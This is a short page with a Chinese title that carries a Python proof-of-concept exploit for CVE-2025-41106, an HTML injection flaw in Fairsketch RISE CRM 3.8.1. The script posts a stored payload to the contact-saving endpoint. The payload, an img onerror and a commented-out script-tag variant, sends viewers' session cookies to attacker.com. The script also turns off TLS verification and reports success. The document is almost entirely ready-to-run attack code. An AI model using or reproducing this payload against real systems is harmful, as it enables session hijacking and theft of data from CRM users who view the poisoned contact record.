CVE-2025-41106 RISE CRM Framework HTML注入漏洞

import requests import sys # CVE-2025-41106 HTML Injection PoC # Target: Fairsketch RISE CRM Framework v3.8.1 # Endpoint: /clients/save_contact/ def exploit(target_url, session_cookie): """ Exploit HTML injection in first_name parameter """ # Malicious HTML payload - steals cookies payload = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">' # Alternative payload - cookie theft via script tag # payload = '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>' data = { 'first_name': payload, 'last_name': 'Test', 'email': '[email protected]', 'phone': '1234567890' } headers = { 'Cookie': f'session={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post( f'{target_url}/clients/save_contact/', data=data, headers=headers, verify=False ) if response.status_code == 200: print('[+] Payload sent successfully') print('[+] Payload:', payload) print('[+] Victim will execute JavaScript when viewing the contact') return True else: print('[-] Failed to send payload') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2025-41106.py <target_url> <session_cookie>') print('Example: python cve-2025-41106.py http://target.com "PHPSESSID=abc123"') sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit(target, cookie)